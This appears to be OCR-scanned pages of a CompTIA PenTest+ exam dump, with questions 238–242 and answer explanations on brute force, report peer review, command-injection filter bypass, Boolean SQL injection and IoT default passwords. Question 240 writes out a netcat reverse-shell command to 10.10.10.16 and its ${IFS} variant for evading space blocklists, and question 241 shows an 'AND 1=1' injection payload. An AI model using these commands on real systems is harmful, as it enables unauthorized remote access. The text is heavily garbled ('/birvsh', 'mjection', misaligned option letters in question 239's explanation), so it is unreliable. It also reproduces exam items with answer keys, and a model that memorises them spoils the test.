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EE #238
A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:
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Which of'the following is the penetration tester conducting?

A. Port scan

B. Credential stuffing
C. DoS attack

D. Brute force
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The output shows multiple login attempts with different passwords for the same username "root" on the IP address 192.168.1.112.
This is indicative of a brute force attack, where an attacker systematically tries various password combinations to gain unauthorized
access. References: The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 4: Conducting Passive
Reconnaissance; The Official CompTIA PenTest+ Student Guide (Exam PT0-002), Lesson 4: Conducting Active Reconnaissance.

AE #239
‘Which of the following could be used to enhance the quality and reliability of a vulnerability scan report?

A. Root cause analysis
B. Peer review

C. Risk analysis

D. Client acceptance

HE: B
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Peer Review:

Peer reviews ensure the accuracy, completeness, and reliability of the report by having another qualified tester validate the findings,
methodology, and conclusions.

It helps identify errors or omissions and provides additional insights to improve the report.

Why Not Other Options?

A (Risk analysis): Risk analysis enhances understanding but does not directly improve report quality.

C (Root cause analysis): This is useful for addressing vulnerabilities but does not enhance the scan report itself.
D (Client acceptance): While important, it does not directly improve the quality or reliability of the report.
CompTIA Pentest+ Reference:

Domain 5.0 (Reporting and Communication)

EE #240

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester
uses the following command:

nc -¢ /birvsh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?

o A ${IFS}
e B.%0a
o C.%20


https://www.pass4test.net/PT0-003.html
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To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal
Field Separator in Unix-like systers, which by default is set to space, tab, and newline characters.

Command Injection:

Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable
application.

Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters like spaces.

Bypassing Filters:

${IFS}: Using ${IFS} instead of a space can bypass filters that block spaces. ${IFS} expands to a space character in shell
commands.

Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc$ {IFS}-

e${IFS} /bin/sh${IFS} 10.10.10.16$ {IFS} 4444,

Alternative Encodings:

%0a: Represents a newline character in URL encoding,

+: Sometimes used in place of space in URLs.

%20: URL encoding for space.

However, ${IFS} is most appropriate for shell command contexts.

Pentest Reference:

Command Injection: Understanding how command injection works and common techniques to exploit it.

Bypassing Filters: Using creative methods like environment variable expansion to bypass mput filters and execute commands.
Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the
vulnerability's exploitability.

AE #241

Given the following user-supplied data:

www.comptia.convinfo.php?id=1 AND 1=1

Which of the following attack techniques is the penetration tester likely implementing?

A. Reflected cross-site scripting
B. Time-based SQL mjection

C. Boolean-based SQL mjection
D. Stored cross-site scripting

HE. C

ME:

The user-supplied data www.comptia.comvinfo.php?id=1 AND 1=1 is indicative of a Boolean-based SQL injection attack. In this
attack, the attacker manipulates a SQL query by inserting additional SQL logic that will always evaluate to true (in this case, AND
1=1) to gain unauthorized access to database information.

This type of attack exploits improper input validation in web applications to manipulate database queries.

The other attack techniques listed (Time-based SQL injection, Stored cross-site scripting, Reflected cross-site scripting) involve
different methodologies and are not demonstrated by the given user-supplied data.

AE #242
Which of the following is the most common vulnerability associated with loT devices that are directly connected to the mternet?

A. The existence of default passwords
B. Unsupported operating systens

C. Susceptibility to DDoS attacks

D. Inability to network
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IoT devices are often shipped with default passwords, which are easily discoverable and widely known.

Many users fail to change these default credentials, leaving the devices vulnerable to unauthorized access.

This issue is one of the most common vulnerabilities associated with IoT devices connected directly to the internet. Attackers can
exploit these default passwords to gain control over the devices, potentially leading to a range of malicious activities, including the
recruitment of the devices into botnets for Distributed Denial of Service (DDoS) attacks, data breaches, or other cybercriminal
activities.
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